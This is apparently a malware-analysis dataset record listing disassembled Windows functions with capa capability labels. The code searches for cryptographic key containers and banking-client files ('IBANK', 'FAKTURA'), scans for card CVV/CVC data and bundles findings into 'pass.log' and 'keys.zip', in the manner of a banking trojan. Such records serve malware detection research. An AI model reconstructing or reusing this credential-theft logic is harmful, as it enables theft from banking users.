joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001c9e0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x1001c9f2
xor eax, eax
pop ebx
pop ebp
ret 4
cmp dword [0x10057d88], 0
push esi
push edi
jne 0x1001cbb5
cmp dword [0x10057d98], 0
je 0x1001cbb5
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push str.self.cer
push ebx
call esi
mov edi, eax
test edi, edi
jne 0x1001caa1
push str.crypto_
push ebx
call esi
test eax, eax
je 0x1001ca40
push 0x10044230
inc eax
push eax
call esi
mov edi, eax
test edi, edi
je 0x1001ca40
inc edi
jmp 0x1001caa1
push 0x10044230
push ebx
call esi
mov edi, eax
test edi, edi
je 0x1001ca85
push str.crypto
inc edi
push edi
call esi
mov edi, eax
test edi, edi
je 0x1001ca85
push 0x10044230
inc edi
push edi
call esi
mov edi, eax
test edi, edi
je 0x1001ca85
push str.private_
push ebx
inc edi
call esi
test eax, eax
jne 0x1001caa1
push str.public_
push ebx
call esi
test eax, eax
jne 0x1001caa1
push str.private_
push ebx
call esi
test eax, eax
jne 0x1001caa1
push str.public_
push ebx
call esi
test eax, eax
je 0x1001cbb5
push str.microscrypto_
push ebx
call esi
test eax, eax
jne 0x1001cbb5
push str.maxthon3public_
push ebx
call esi
test eax, eax
jne 0x1001cbb5
push str.microsoftcrypto_
push ebx
call esi
test eax, eax
jne 0x1001cbb5
push str.crypto_pro_
push ebx
call esi
test eax, eax
jne 0x1001cbb5
push str.progra1crypto1_
push ebx
call esi
test eax, eax
jne 0x1001cbb5
push str._temporary_internet_files_
push ebx
call esi
test eax, eax
jne 0x1001cbb5
push str.:userspublic
push ebx
call esi
test eax, eax
jne 0x1001cbb5
push 0x100481f4
push ebx
call esi
test eax, eax
je 0x1001cb2d
push 0x10044230
push eax
call esi
test eax, eax
jne 0x1001cbb5
push str.cryptokit_
push ebx
call esi
test eax, eax
jne 0x1001cbb5
push str.:progra1common1crypto1
push ebx
call esi
test eax, eax
jne 0x1001cbb5
xor esi, esi
cmp edi, esi
je 0x1001cb99
push esi
push esi
push ebx
push 0x1001b260
push esi
push esi
mov dword [0x10057d88], 1
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x1001cb8d
lea ecx, [ebp + 8]
push ecx
push edi
mov dword [ebp + 8], esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001cb8d
test byte [ebp + 8], 2
jne 0x1001cb8d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
pop ebp
ret 4
push esi
push esi
push ebx
push 0x1001ab20
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
cmp edi, esi
je 0x1001cb8d
lea eax, [ebp + 8]
push eax
jmp 0x1001cb72
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 4
Function at 0x1001cbc0
Capabilities:
Check if file exists
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [0x10057d98], 0
jne 0x1001cddc
cmp dword [0x10057d90], 0
je 0x1001cd80
cmp dword [0x10057d9c], 0
je 0x1001cd77
mov ecx, dword [ebp + 8]
push 0x1004822c
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x1001cd77
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x110], cl
inc eax
test cl, cl
jne 0x1001cc30
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0x10059f80
call ebx
mov eax, 0x10059f80
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001cc56
lea edi, [ebp - 0x110]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001cc68
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 0x10059f80
rep movsb byte es:[edi], byte [esi]
call ebx
push 0x10059f80
call fcn.10003090
lea esi, [ebp - 0x110]
call fcn.100069d0
mov eax, esi
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001cca0
mov edx, dword [str.pass.log]
mov ecx, dword [0x10047c64]
mov dword [eax], edx
mov dl, byte [0x10047c68]
mov dword [eax + 4], ecx
mov byte [eax + 8], dl
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1001cd77
lea eax, [ebp - 0x110]
call fcn.100064b0
mov esi, eax
cmp esi, 0xffffffff
je 0x1001cd77
mov edx, dword [0x10057d9c]
mov eax, edx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001ccf8
sub eax, edi
push esi
mov ecx, eax
call fcn.100066a0
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push esi
call fcn.100066a0
call fcn.10023e00
mov esi, dword [0x10057d9c]
call fcn.10012d20
push 0
push 0
push 0
push 0x1001a390
push 0
push 0
mov dword [0x10057d90], 0
mov dword [0x10057d98], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001cd77
lea ecx, [ebp - 4]
push ecx
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001cd77
test byte [ebp - 4], 2
jne 0x1001cd77
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x10057d90], 0
jne 0x1001cddc
mov edi, dword [ebp + 8]
cmp dword [edi], 0x54534f50
jne 0x1001cde5
cmp byte [edi + 4], 0x20
jne 0x1001cde5
push str.bsi.dll
push edi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x1001cde5
mov esi, dword [0x10057d9c]
mov dword [0x10057d90], 1
test esi, esi
je 0x1001cdbd
call fcn.10012d20
mov esi, dword [ebp + 0xc]
lea ecx, [esi + 1]
call fcn.10012ce0
mov dword [0x10057d9c], eax
test eax, eax
je 0x1001cddc
push esi
push edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
pop edi
pop esi
mov dword [0x10057d90], 0
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001ce00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov esi, eax
test esi, esi
je 0x1001cf89
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001ce12
push 0
sub eax, edx
push eax
push esi
call fcn.10042850
cmp eax, dword [0x10057fac]
je 0x1001cf89
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push edi
push 0x10048238
push esi
mov dword [0x10057fac], eax
call ebx
mov edi, eax
test edi, edi
je 0x1001ce57
push str.cvv
push esi
call ebx
test eax, eax
je 0x1001ce93
push 0x10048248
push esi
call ebx
mov edi, eax
test edi, edi
je 0x1001ce71
push str.cvv2
push esi
call ebx
test eax, eax
je 0x1001ce93
push 0x10048258
push esi
call ebx
mov edi, eax
test edi, edi
je 0x1001cf87
push str.cvc
push esi
call ebx
test eax, eax
jne 0x1001cf87
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push str.domainletitbit.net
push esi
call ebx
add esp, 8
test eax, eax
jne 0x1001cf87
push 0x100479bc
push edi
call ebx
add esp, 8
test eax, eax
je 0x1001cf87
mov cl, byte [eax + 1]
inc eax
cmp cl, 0x30
jl 0x1001cf87
cmp cl, 0x39
jg 0x1001cf87
mov cl, byte [eax + 1]
cmp cl, 0x30
jl 0x1001cf87
cmp cl, 0x39
jg 0x1001cf87
mov al, byte [eax + 2]
cmp al, 0x30
jl 0x1001cf87
cmp al, 0x39
jg 0x1001cf87
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001cf02
sub eax, edx
lea edi, [eax + 1]
test edi, edi
je 0x1001cf87
add edi, 0x13
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
test ebx, ebx
je 0x1001cf87
push edi
push 0
push ebx
call sub.MSVCRT.dll_memset
mov edx, ebx
add esp, 0xc
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x1001cf40
push 0
push 0
push ebx
push 0x1001cf90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001cf87
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001cf87
test byte [ebp - 4], 2
jne 0x1001cf87
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001d930
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10057fb4]
test eax, eax
je 0x1001d946
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x1001d7e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10057fb4], eax
test eax, eax
je 0x1001d98b
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001d98a
test byte [ebp - 4], 2
jne 0x1001d98a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x1001e0b0
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAFEE2BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001e0f8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAFEE2BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001e0e0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001e12b
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001e12b
test byte [esp + 0xc], 2
jne 0x1001e12b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001dce0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001e178
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001e178
test byte [esp + 0xc], 2
jne 0x1001e178
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005a390
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.FAKTURA
push 0x1005a390
call fcn.100125c0
push 0x9c40
call ebx
call fcn.1001e0b0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001e1b0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001e1c0
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001e1c0
push 0x1005a494
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
mov eax, 0x1005a494
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001e1e4
push esi
push edi
lea edi, [ebp - 0x104]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001e1f6
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x104]
pop edi
dec eax
pop esi
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001e217
mov ecx, dword [str.pass.log]
mov edx, dword [0x10047c64]
mov dword [eax], ecx
mov cl, byte [0x10047c68]
mov dword [eax + 4], edx
lea edx, [ebp - 0x104]
push edx
mov byte [eax + 8], cl
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov esp, ebp
pop ebp
ret

Function at 0x1001e250
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
cmp dword [0x10057fbc], 0
push esi
mov esi, eax
je 0x1001e26c
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
test esi, esi
je 0x1001e265
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001e273
sub eax, edx
sar eax, 1
je 0x1001e29b
lea ecx, [esi + eax*2 - 2]
movzx edx, word [ecx]
cmp edx, 0x5c
je 0x1001e29b
cmp edx, 0x2f
je 0x1001e29b
sub ecx, 2
dec eax
jne 0x1001e288
push ebx
lea ebx, [esi + eax*2]
test ebx, ebx
jne 0x1001e2ab
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov edx, 0xe
mov eax, str.private
mov ecx, ebx
push edi
jmp 0x1001e2c0
mov edi, dword [ecx]
cmp edi, dword [eax]
jne 0x1001e3c3
sub edx, 4
add eax, 4
add ecx, 4
cmp edx, 4
jae 0x1001e2c0
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x1001e3c3
mov al, byte [eax + 1]
cmp al, byte [ecx + 1]
jne 0x1001e3c3
call fcn.1001e1b0
test eax, eax
je 0x1001e3c3
lea edx, [ebp - 0x208]
mov eax, esi
sub edx, esi
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001e305
lea eax, [ebp - 0x208]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001e320
sub eax, edx
sar eax, 1
je 0x1001e34b
lea ecx, [ebp + eax*2 - 0x20a]
movzx edx, word [ecx]
cmp edx, 0x5c
je 0x1001e34b
cmp edx, 0x2f
je 0x1001e34b
sub ecx, 2
dec eax
jne 0x1001e338
lea edi, [ebp + eax*2 - 0x208]
mov eax, str.public
mov edx, edi
sub edx, eax
jmp 0x1001e360
movzx ecx, word [eax]
mov word [edx + eax], cx
add eax, 2
test cx, cx
jne 0x1001e360
lea eax, [ebx + 0xe]
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x1001e374
sub eax, edx
add edi, 0xfffffffe
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x1001e384
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1001e3c3
pop edi
mov eax, 1
pop ebx
mov dword [0x10057fbc], eax
pop esi
mov esp, ebp
pop ebp
ret
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001e830
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x10057fc0]
test eax, eax
je 0x1001e846
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
push 0
push 0x1001e6e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10057fc0], eax
test eax, eax
je 0x1001e88b
push esi
lea ecx, [ebp - 4]
push ecx
push eax
mov esi, eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001e88a
test byte [ebp - 4], 2
jne 0x1001e88a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1001e920
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
xor esi, esi
push edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
cmp dword [0x10057fc4], esi
jne 0x1001ea82
mov edi, dword [ebp + 0xc]
cmp edi, esi
je 0x1001ea82
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.java_
push edi
call ebx
test eax, eax
jne 0x1001ea82
push str.windows_
push edi
call ebx
test eax, eax
jne 0x1001ea82
push eax
push eax
push eax
push eax
push 0xffffffffffffffff
push edi
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test ebx, ebx
je 0x1001e9d5
lea eax, [ebx + ebx]
test eax, eax
je 0x1001e9ba
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001e9b7
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
mov edi, dword [ebp + 0xc]
test esi, esi
je 0x1001ea82
push 0
push 0
push ebx
push esi
push 0xffffffffffffffff
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test esi, esi
je 0x1001ea82
push 0x104
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x1001ea82
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x18]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x18]
cmp eax, 0x64
jb 0x1001ea85
cmp eax, 0x5000
ja 0x1001ea85
push 0
lea ecx, [esp + 0x1c]
push ecx
push 4
lea edx, [esp + 0x20]
push edx
push edi
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001ea85
mov ecx, dword [esp + 0x14]
xor eax, eax
cmp ecx, 0x534b4269
sete al
mov dword [esp + 0x10], eax
test eax, eax
je 0x1001ea5f
mov dword [0x10057fc4], 1
jmp 0x1001ea85
xor edx, edx
mov eax, 0x4b50
cmp cx, ax
setne dl
mov eax, edx
mov dword [esp + 0x10], eax
test eax, eax
je 0x1001ea85
mov dword [0x10057fc4], 1
jmp 0x1001ea85
mov edi, dword [ebp + 8]
xor ecx, ecx
push ecx
push ecx
push ecx
xor eax, eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test esi, esi
je 0x1001eaba
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001eaba
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x1001ef40
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001ef88
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalEAF799BF_8989_4fe1_9A0D_95CD39DC0214
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001ef70
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001efbb
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001efbb
test byte [esp + 0xc], 2
jne 0x1001efbb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001ede0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001f008
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001f008
test byte [esp + 0xc], 2
jne 0x1001f008
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005a598
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.IBANK
push 0x1005a598
call fcn.100125c0
push 0x9c40
call ebx
call fcn.1001ef40
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f0a0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
push esi
push edi
xor esi, esi
xor edi, edi
mov dword [esp + 0xc], edi
cmp dword [0x10057fcc], esi
je 0x1001f166
cmp dword [0x10057fc8], esi
jne 0x1001f166
mov ecx, dword [ebp + 8]
lea eax, [esp + 0x10]
push eax
push ecx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov ebx, dword [esp + 0x10]
test ebx, ebx
je 0x1001f166
lea edi, [ebx + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1001f162
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
test esi, esi
je 0x1001f162
mov eax, dword [ebp + 8]
push 0
lea edx, [esp + 0x14]
push edx
push ebx
push esi
push eax
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001f162
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrA]
push str.BEGIN_SIGNATURE
push esi
call edi
test eax, eax
je 0x1001f162
push str.END_SIGNATURE
push esi
call edi
test eax, eax
je 0x1001f162
mov eax, 1
mov dword [0x10057fc8], eax
mov dword [esp + 0xc], eax
mov edi, dword [esp + 0xc]
xor ecx, ecx
push ecx
push ecx
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test esi, esi
je 0x1001f19e
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x1001f19e
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x1001f770
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, eax
test esi, esi
jne 0x1001f7b8
lea ebx, [ebx]
push 0x64
call ebx
push str.LocalAAF799BF_8989_4fe1_9A0D_95CD39DC0A14
push 0
push 0x100000
call edi
mov esi, eax
test esi, esi
je 0x1001f7a0
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edi, dword [sym.imp.KERNEL32.dll_GetHandleInformation]
mov dword [esp + 0xc], 0
test esi, esi
je 0x1001f7eb
lea eax, [esp + 0xc]
push eax
push esi
call edi
test eax, eax
je 0x1001f7eb
test byte [esp + 0xc], 2
jne 0x1001f7eb
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
push 0x1001f620
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001f838
push 0x9c40
call ebx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea ecx, [esp + 0xc]
push ecx
push esi
mov dword [esp + 0x14], 0
call edi
test eax, eax
je 0x1001f838
test byte [esp + 0xc], 2
jne 0x1001f838
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1005a69c
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push str.INIST
push 0x1005a69c
call fcn.100125c0
push 0x9c40
call ebx
call fcn.1001f770
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1001f870
Capabilities:
Create directory
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
xor eax, eax
jmp 0x1001f880
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001f880
push ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push esi
push edi
push 0x1005a7a0
call ebx
mov eax, 0x1005a7a0
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001f8b0
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001f8c2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push 0
lea eax, [ebp - 0x104]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x1001f911
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1001f90a
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathMakeSystemFolderA]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x1001fa06
lea eax, [ebp - 0x104]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001f930
mov ecx, dword [str.keys.zip]
mov edx, dword [0x10047ef4]
mov dword [eax], ecx
mov cl, byte [0x10047ef8]
mov dword [eax + 4], edx
mov edx, dword [ebp + 8]
mov byte [eax + 8], cl
push edx
lea eax, [ebp - 0x104]
push eax
call fcn.10027f00
test eax, eax
je 0x1001fa06
xor eax, eax
lea esp, [esp]
mov cl, byte [eax + 0x10057a88]
mov byte [ebp + eax - 0x104], cl
inc eax
test cl, cl
jne 0x1001f970
push 0x1005a7a0
call ebx
mov eax, 0x1005a7a0
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x1001f990
lea edi, [ebp - 0x104]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x1001f9a2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x104]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x1001f9c0
mov ecx, dword [str.path1.txt]
mov edx, dword [0x100485a0]
mov esi, dword [ebp + 8]
mov dword [eax], ecx
mov cx, word [0x100485a4]
mov dword [eax + 4], edx
mov word [eax + 8], cx
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001f9f0
sub eax, edx
push eax
push esi
lea eax, [ebp - 0x104]
call fcn.100064d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4